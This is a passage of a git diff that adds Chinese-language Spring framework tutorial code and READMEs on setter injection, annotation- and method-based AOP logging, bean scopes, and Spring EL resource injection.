+ * Time: 下午 11:10.
+ */
+//注意!此处没有使用@Service声明Bean
+public class UseFunctionService {
+ FunctionService functionService;
+ //此处没有使用@Autowired注解注入Bean
+ public void setFunctionService(FunctionService functionService){
+ this.functionService = functionService;
+ }
+
+ public String sayHello(String word){
+ return functionService.sayHello(word);
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/Action.java b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/Action.java
new file mode 100644
index 0000000..97c2758
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/Action.java
@@ -0,0 +1,17 @@
+package cn.hncu.p1_3_3_aop;
+
+import java.lang.annotation.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:11.
+ * Explain:注解类
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+public @interface Action {
+ String name();
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/AopConfig.java b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/AopConfig.java
new file mode 100644
index 0000000..b3a667e
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/AopConfig.java
@@ -0,0 +1,18 @@
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.EnableAspectJAutoProxy;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:42.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p1_3_3_aop")
+@EnableAspectJAutoProxy //使用@EnableAspectJAutoProxy注解开启Spring对AspectJ代理的支持
+public class AopConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/DemoAnnotationService.java b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/DemoAnnotationService.java
new file mode 100644
index 0000000..d44dba2
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/DemoAnnotationService.java
@@ -0,0 +1,18 @@
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:16.
+ * Explain:使用注解的被拦截类
+ */
+@Service
+public class DemoAnnotationService {
+ @Action(name = "@Action---DemoAnnotationService.add操作")
+ public void add(){
+ System.out.println("DemoAnnotationService.add...");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/DemoMethodService.java b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/DemoMethodService.java
new file mode 100644
index 0000000..0b48a59
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/DemoMethodService.java
@@ -0,0 +1,18 @@
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:23.
+ * Explain:使用方法规则的被拦截类
+ */
+@Service
+public class DemoMethodService {
+ @Action(name="@Action---DemoMethodService.add操作")
+ public void add(){
+ System.out.println("DemoMethodService.add...");
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/LogAspect.java b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/LogAspect.java
new file mode 100644
index 0000000..dc87173
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/LogAspect.java
@@ -0,0 +1,52 @@
+package cn.hncu.p1_3_3_aop;
+
+import org.aspectj.lang.JoinPoint;
+import org.aspectj.lang.annotation.After;
+import org.aspectj.lang.annotation.Aspect;
+import org.aspectj.lang.annotation.Before;
+import org.aspectj.lang.annotation.Pointcut;
+import org.aspectj.lang.reflect.MethodSignature;
+import org.springframework.stereotype.Component;
+
+import java.lang.reflect.Method;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:24.
+ * Explain:切面
+ */
+@Aspect
+//通过@Aspect注解声明这是一个切面
+@Component
+//通过@Component让此切面成为Spring容器管理的Bean
+public class LogAspect {
+
+ //注意这两个@Pointcut写法的区别!!!
+ // 一个是拦截注解(写了@Action注解的方法都会被拦截),一个是拦截类方法
+ @Pointcut("@annotation(cn.hncu.p1_3_3_aop.Action)")//通过@PointCut注解声明切点
+ //@Pointcut("execution(* cn.hncu.p1_3_3_aop.DemoAnnotationService..*(..))")
+ //配置切入点,该方法无方法体,主要为方便同类中其他方法使用此处配置的切入点
+ public void annotatiomPointCut(){ }
+
+ //拦截注解
+ @After("annotatiomPointCut()")//通过@After注解声明一个建言,并使用@PointCut定义的切点
+ public void after(JoinPoint joinPoint){
+ MethodSignature signature =(MethodSignature)joinPoint.getSignature();
+ Method method = signature.getMethod();
+ Action action = method.getAnnotation(Action.class);
+ System.out.println(action.name());//通过反射可获得注解上的属性,可以用来做日志记录等相关操作
+ }
+
+ @Before("execution(* cn.hncu.p1_3_3_aop.DemoMethodService.*(..))")
+ //通过@Before注解声明一个建言,此建言直接使用拦截规则作为参数
+ public void before(JoinPoint joinPoint){
+ MethodSignature signature = (MethodSignature) joinPoint.getSignature();
+ Method method = signature.getMethod();
+ Action action = method.getAnnotation(Action.class);
+ System.out.println("方法规则式拦截:" + method.getName()+" "+action.name());
+ }
+
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/Main.java b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/Main.java
new file mode 100644
index 0000000..c692080
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/Main.java
@@ -0,0 +1,23 @@
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:41.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(AopConfig.class);
+ DemoAnnotationService demoAnnotationService = context.getBean(DemoAnnotationService.class);
+ demoAnnotationService.add();
+
+ DemoMethodService demoMethodService = context.getBean(DemoMethodService.class);
+ demoMethodService.add();
+
+ context.close();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_3_aop/README.md b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/README.md
new file mode 100644
index 0000000..6ec3ab1
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_3_aop/README.md
@@ -0,0 +1,240 @@
+#分析
+
+AOP: 面向切面编程,相对于OOP面向对象编程。
+OOP: Object Oriented Programming,面向对象的程序设计。
+
+Spring的AOP的存在目的是为了解耦。AOP可以让一组类共享相同的行为。
+在OOP中只能通过继承类和实现接口,来使代码的耦合度增强,且类继承只能为单继承,阻碍更多行为添加到一组类上,AOP弥补了OOP的不足。
+
+Spring支持AspectJ的注解式切面编程
+```
+1、使用@Aspect声明类是一个切面
+2、使用@After,@Before,@Around 定义建言(advice),可直接将拦截规则(切点)作为参数。
+3、其中@After,@Before,@Around参数的拦截规则为切点(PointCut),为了使切点复用,
+可使用@PointCut专门定义拦截规则,然后在@After,@Before,@Around的参数中调用
+4、其中符合条件的每一个被拦截处为连接点(JoinPoint)
+```
+
+本示例演示基于注解拦截和基于方法拦截两种方式,演示一种模拟记录操作的日志系统的实现。
+
+其中注解式拦截能够很好地控制要拦截的粒度和获得更丰富的信息,Spring本身在事务处理(@Transcational)和数据缓存(@Cacheable等)上面都使用此种形式的拦截。
+
+pom.xml的配置不再累赘写上。
+不知道写的朋友请见此篇博客:
+http://blog.csdn.net/qq_26525215/article/details/53010442
+
+
+#示例
+
+##添加Spring aop支持及AspectJ依赖
+```
+
+
+ org.springframework
+ spring-aop
+ 4.2.3.RELEASE
+
+
+
+
+
+ org.aspectj
+ aspectjrt
+ 1.8.9
+
+
+ org.aspectj
+ aspectjweaver
+ 1.8.9
+
+
+```
+
+##编写拦截规则的注解
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import java.lang.annotation.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:11.
+ * Explain:注解类
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+public @interface Action {
+ String name();
+}
+
+```
+
+
+##编写使用注解的被拦截类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:16.
+ * Explain:使用注解的被拦截类
+ */
+@Service
+public class DemoAnnotationService {
+ @Action(name = "@Action---DemoAnnotationService.add操作")
+ public void add(){
+ System.out.println("DemoAnnotationService.add...");
+ }
+}
+
+```
+
+##编写使用方法规则的被拦截类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:23.
+ * Explain:使用方法规则的被拦截类
+ */
+@Service
+public class DemoMethodService {
+ @Action(name="@Action---DemoMethodService.add操作")
+ public void add(){
+ System.out.println("DemoMethodService.add...");
+ }
+}
+
+```
+
+##编写切面
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.aspectj.lang.JoinPoint;
+import org.aspectj.lang.annotation.After;
+import org.aspectj.lang.annotation.Aspect;
+import org.aspectj.lang.annotation.Before;
+import org.aspectj.lang.annotation.Pointcut;
+import org.aspectj.lang.reflect.MethodSignature;
+import org.springframework.stereotype.Component;
+
+import java.lang.reflect.Method;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:24.
+ * Explain:切面
+ */
+@Aspect
+//通过@Aspect注解声明这是一个切面
+@Component
+//通过@Component让此切面成为Spring容器管理的Bean
+public class LogAspect {
+
+ //注意这两个@Pointcut写法的区别!!!
+ // 一个是拦截注解(写了@Action注解的方法都会被拦截),一个是拦截类方法
+ @Pointcut("@annotation(cn.hncu.p1_3_3_aop.Action)")//通过@PointCut注解声明切点
+ //@Pointcut("execution(* cn.hncu.p1_3_3_aop.DemoAnnotationService..*(..))")
+ //配置切入点,该方法无方法体,主要为方便同类中其他方法使用此处配置的切入点
+ public void annotatiomPointCut(){ }
+
+ //拦截注解
+ @After("annotatiomPointCut()")//通过@After注解声明一个建言,并使用@PointCut定义的切点
+ public void after(JoinPoint joinPoint){
+ MethodSignature signature =(MethodSignature)joinPoint.getSignature();
+ Method method = signature.getMethod();
+ Action action = method.getAnnotation(Action.class);
+ System.out.println(action.name());//通过反射可获得注解上的属性,可以用来做日志记录等相关操作
+ }
+
+ @Before("execution(* cn.hncu.p1_3_3_aop.DemoMethodService.*(..))")
+ //通过@Before注解声明一个建言,此建言直接使用拦截规则作为参数
+ public void before(JoinPoint joinPoint){
+ MethodSignature signature = (MethodSignature) joinPoint.getSignature();
+ Method method = signature.getMethod();
+ Action action = method.getAnnotation(Action.class);
+ System.out.println("方法规则式拦截:" + method.getName()+" "+action.name());
+ }
+
+
+}
+
+```
+
+##编写配置类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.EnableAspectJAutoProxy;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:42.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p1_3_3_aop")
+@EnableAspectJAutoProxy //使用@EnableAspectJAutoProxy注解开启Spring对AspectJ代理的支持
+public class AopConfig {
+}
+
+```
+
+
+##运行类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:41.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(AopConfig.class);
+ DemoAnnotationService demoAnnotationService = context.getBean(DemoAnnotationService.class);
+ demoAnnotationService.add();
+
+ DemoMethodService demoMethodService = context.getBean(DemoMethodService.class);
+ demoMethodService.add();
+
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p2_1_1Scope/DemoPrototypeService.java b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/DemoPrototypeService.java
new file mode 100644
index 0000000..fe9acba
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/DemoPrototypeService.java
@@ -0,0 +1,16 @@
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:23.
+ * Explain:编写Prototype的Bean
+ */
+@Service
+@Scope("prototype")
+public class DemoPrototypeService {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_1_1Scope/DemoSingletonService.java b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/DemoSingletonService.java
new file mode 100644
index 0000000..8d7342b
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/DemoSingletonService.java
@@ -0,0 +1,16 @@
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:09.
+ * Explain:Singleton---默认Spring-Scope
+ */
+@Service//默认@Scope为Singleton-相当于添加
+//@Scope("singleton")
+public class DemoSingletonService {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_1_1Scope/Main.java b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/Main.java
new file mode 100644
index 0000000..3986978
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/Main.java
@@ -0,0 +1,28 @@
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:43.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ScopeConfig.class);
+
+ DemoPrototypeService p1 = context.getBean(DemoPrototypeService.class);
+ DemoPrototypeService p2 = context.getBean(DemoPrototypeService.class);
+
+ DemoSingletonService s1 = context.getBean(DemoSingletonService.class);
+ DemoSingletonService s2 = context.getBean(DemoSingletonService.class);
+
+ System.out.println("p1.equals(p2):"+p1.equals(p2));//false
+ System.out.println("p1==p2:"+(p1==p2));//false
+
+ System.out.println("s1.equals(s2):"+s1.equals(s2));//true
+ System.out.println("s1==s2:"+(s1==s2));//true
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_1_1Scope/README.md b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/README.md
new file mode 100644
index 0000000..7010340
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/README.md
@@ -0,0 +1,132 @@
+
+#分析
+
+Scope(范围)描述的是Spring容器如何新建Bean的实例的。可以简单的理解成Bean的作用范围!
+Spring的Scope有以下的几种,可以通过@Scope注解来实现。
+```
+1、singleton:一个Spring容器中只有一个Bean的实例。
+ 这是Spring的默认配置,也就是不写@Scope("singleton"),全容器共享一个实例。
+
+2、prototype:每次调用都会新建一个Bean的实例。
+
+3、request:Web项目中,给每一个http request新建一个Bean实例。
+ 也就是每一个request请求,都会新建一个Bean。
+
+4、session:Web项目中,给每一个http session新建一个Bean实例。
+ 也就是同一个session访问的请求,都是同一个Bean。
+
+5、globalSession:这个只在portal应用中有用,给每一个global http session新建一个Bean实例。
+
+```
+
+在Spring Batch中还有一个Scope是使用@StepScope的,这里就不介绍了。以后会有博客提到。
+现在要去了解的,请自行谷歌。
+
+下面的实例是简单的演示默认的singleton和prototype,分别从Spring容器中获得2次Bean,分别用==与equals判断Bean的实例是否相等!
+
+#示例
+##singleton的Bean
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:09.
+ * Explain:Singleton---默认Spring-Scope
+ */
+@Service//默认@Scope为Singleton-相当于添加
+//@Scope("singleton")
+public class DemoSingletonService {
+}
+
+```
+
+##prototype的Bean
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:23.
+ * Explain:编写Prototype的Bean
+ */
+@Service
+@Scope("prototype")
+public class DemoPrototypeService {
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:42.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_1_1Scope.")
+public class ScopeConfig {
+}
+
+```
+
+
+##运行
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:43.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ScopeConfig.class);
+
+ DemoPrototypeService p1 = context.getBean(DemoPrototypeService.class);
+ DemoPrototypeService p2 = context.getBean(DemoPrototypeService.class);
+
+ DemoSingletonService s1 = context.getBean(DemoSingletonService.class);
+ DemoSingletonService s2 = context.getBean(DemoSingletonService.class);
+
+ System.out.println("p1.equals(p2):"+p1.equals(p2));//false
+ System.out.println("p1==p2:"+(p1==p2));//false
+
+ System.out.println("s1.equals(s2):"+s1.equals(s2));//true
+ System.out.println("s1==s2:"+(s1==s2));//true
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p2_1_1Scope/ScopeConfig.java b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/ScopeConfig.java
new file mode 100644
index 0000000..512af4c
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_1_1Scope/ScopeConfig.java
@@ -0,0 +1,16 @@
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:42.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_1_1Scope.")
+public class ScopeConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/DemoService.java b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/DemoService.java
new file mode 100644
index 0000000..2357ac5
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/DemoService.java
@@ -0,0 +1,24 @@
+package cn.hncu.p2_2_2SpringEL;
+
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 9:06.
+ * Explain:被注入的Bean
+ */
+@Service
+public class DemoService {
+ @Value("DemoService类的属性")//注入字符串
+ private String another;
+ public String getAnother() {
+ return another;
+ }
+ public void setAnother(String another) {
+ this.another = another;
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/ElConfig.java b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/ElConfig.java
new file mode 100644
index 0000000..9ea2829
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/ElConfig.java
@@ -0,0 +1,72 @@
+package cn.hncu.p2_2_2SpringEL;
+
+import org.apache.commons.io.IOUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
+import org.springframework.context.support.PropertySourcesPlaceholderConfigurer;
+import org.springframework.core.env.Environment;
+import org.springframework.core.io.Resource;
+
+import java.io.IOException;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 9:11.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_2_2SpringEL")
+@PropertySource("classpath:cn/hncu/p2_2_2SpringEL/test.properties")
+public class ElConfig {
+
+ @Value("I LOVE YOU!")//注入字符串
+ private String normal;
+
+ @Value("#{systemProperties['os.name']}")//获取操作系统名
+ private String osName;
+
+ @Value("#{ T(java.lang.Math).random() * 100.0 }")//注入表达式结果
+ private double randomNumber;
+
+ @Value("#{demoService.another}")//注入其他Bean的属性
+ private String fromAnother;
+
+ @Value("${project.name}")//注入配置文件
+ private String projectName;
+
+ @Value("classpath:cn/hncu/p2_2_2SpringEL/test.txt")
+ private Resource testFile;//注意这个Resource是:org.springframework.core.io.Resource;
+
+ @Autowired //注入配置文件
+ private Environment environment;
+
+ @Value("http://www.chaojijuhui.com")//注入网址资源
+ private Resource testUrl;
+
+ @Bean //注入配置文件
+ public static PropertySourcesPlaceholderConfigurer propertyConfigurer(){
+ return new PropertySourcesPlaceholderConfigurer();
+ }
+
+ public void outputResource(){
+ try {
+ System.out.println("normal:"+normal);
+ System.out.println("osName:"+osName);
+ System.out.println("randomNumber:"+randomNumber);
+ System.out.println("fromAnother:"+fromAnother);
+ System.out.println("projectName:"+projectName);
+ System.out.println("测试文件:"+IOUtils.toString(testFile.getInputStream()));
+ System.out.println("配置文件project.author:"+environment.getProperty("project.author"));
+ System.out.println("网址资源:"+IOUtils.toString(testUrl.getInputStream()));
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/Main.java b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/Main.java
new file mode 100644
index 0000000..bb862ad
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/Main.java
@@ -0,0 +1,21 @@
+package cn.hncu.p2_2_2SpringEL;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 11:44.
+ * Explain:运行类
+ */
+public class Main {
+
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ElConfig.class);
+ ElConfig resourceService = context.getBean(ElConfig.class);
+ resourceService.outputResource();
+ context.close();
+}
+
+}
diff --git a/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/README.md b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/README.md
new file mode 100644
index 0000000..d5dd9fe
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/README.md
@@ -0,0 +1,193 @@
+
+#分析
+先简单介绍下Spring EL。
+Spring EL 也就是Spring表达式语言,支持在xml和注解中使用表达式,类似于JSP的EL表达式语言。
+
+Spring开发中我们可能经常涉及到调用各种资源的情况,包含普通文件、网址、配置文件、系统环境变量等,我们可以使用Spring的表达式语言实现资源的注入。
+
+Spring主要在注解@Value的参数中使用表达式。
+
+本示例演示实现以下几种情况:
+1、注入普通的字符串
+2、注入操作系统属性
+3、注入表达式运算结果
+4、注入其他Bean的属性
+5、注入文件内容
+6、注入网址内容
+7、注入属性文件
+
+在本节演示中,我遇到一个问题,已在此博客中解决,如有朋友遇到,请参考本篇博客解决:
+【错误解决】[Maven] cannot be opened because it does not exist错误[文件无法编译到target目录下的解决方法]
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+
+#示例
+
+因为需要将file转换成字符串,我们增加commons-io可以简化文件的相关操作、
+在pom文件中增加如下代码:
+```
+
+
+ commons-io
+ commons-io
+ 2.4
+
+```
+
+然后,在当前类的目录下新建test.txt。内容随意。
+我的内容如下:
+```
+测试文件内容:Spring
+```
+
+然后再新建test.properties文件,内容如下,当然,你也可以自己修改:
+```
+project.name=SpringEL
+project.author=chenhaoxiang
+```
+
+##写需要被注入的Bean:
+
+```
+package cn.hncu.p2_2_2SpringEL;
+
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 9:06.
+ * Explain:被注入的Bean
+ */
+@Service
+public class DemoService {
+ @Value("DemoService类的属性")//注入字符串
+ private String another;
+ public String getAnother() {
+ return another;
+ }
+ public void setAnother(String another) {
+ this.another = another;
+ }
+}
+
+```
+
+##增加配置类:
+
+```
+package cn.hncu.p2_2_2SpringEL;
+
+import org.apache.commons.io.IOUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
+import org.springframework.context.support.PropertySourcesPlaceholderConfigurer;
+import org.springframework.core.env.Environment;
+import org.springframework.core.io.Resource;
+
+import java.io.IOException;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 9:11.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_2_2SpringEL")
+@PropertySource("classpath:cn/hncu/p2_2_2SpringEL/test.properties")
+public class ElConfig {
+
+ @Value("I LOVE YOU!")//注入字符串
+ private String normal;
+
+ @Value("#{systemProperties['os.name']}")//获取操作系统名
+ private String osName;
+
+ @Value("#{ T(java.lang.Math).random() * 100.0 }")//注入表达式结果
+ private double randomNumber;
+
+ @Value("#{demoService.another}")//注入其他Bean的属性
+ private String fromAnother;
+
+ @Value("${project.name}")//注入配置文件
+ private String projectName;
+
+ @Value("classpath:cn/hncu/p2_2_2SpringEL/test.txt")
+ private Resource testFile;//注意这个Resource是:org.springframework.core.io.Resource;
+
+ @Autowired //注入配置文件
+ private Environment environment;
+
+ @Value("http://www.chaojijuhui.com")//注入网址资源
+ private Resource testUrl;
+
+ @Bean //注入配置文件
+ public static PropertySourcesPlaceholderConfigurer propertyConfigurer(){
+ return new PropertySourcesPlaceholderConfigurer();
+ }
+
+ public void outputResource(){
+ try {
+ System.out.println("normal:"+normal);
+ System.out.println("osName:"+osName);
+ System.out.println("randomNumber:"+randomNumber);
+ System.out.println("fromAnother:"+fromAnother);
+ System.out.println("projectName:"+projectName);
+ System.out.println("测试文件:"+IOUtils.toString(testFile.getInputStream()));
+ System.out.println("配置文件project.author:"+environment.getProperty("project.author"));
+ System.out.println("网址资源:"+IOUtils.toString(testUrl.getInputStream()));
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+}
+```
+
+注入配置配件需要使用@PropertySource指定文件地址,若使用@Value注入,则要配置一个PropertySourcesPlaceholderConfigurer的Bean。
+注意,@Value("${project.name}")使用的是"`$`"而不是"#"。
+上面的类演示了这2中配置配件的方式!
+
+
+##运行类:
+
+```
+package cn.hncu.p2_2_2SpringEL;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 11:44.
+ * Explain:运行类
+ */
+public class Main {
+
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ElConfig.class);
+ ElConfig resourceService = context.getBean(ElConfig.class);
+ resourceService.outputResource();
+ context.close();
+}
+
+}
+
+```
+
+#运行结果:
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/test.properties b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/test.properties
new file mode 100644
index 0000000..3a0da1e
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/test.properties
@@ -0,0 +1,2 @@
+project.name=SpringEL
+project.author=chenhaoxiang
\ No newline at end of file
diff --git a/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/test.txt b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/test.txt
new file mode 100644
index 0000000..9d6b9d4
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p2_2_2SpringEL/test.txt
@@ -0,0 +1 @@
+测试文件内容:Spring
\ No newline at end of file
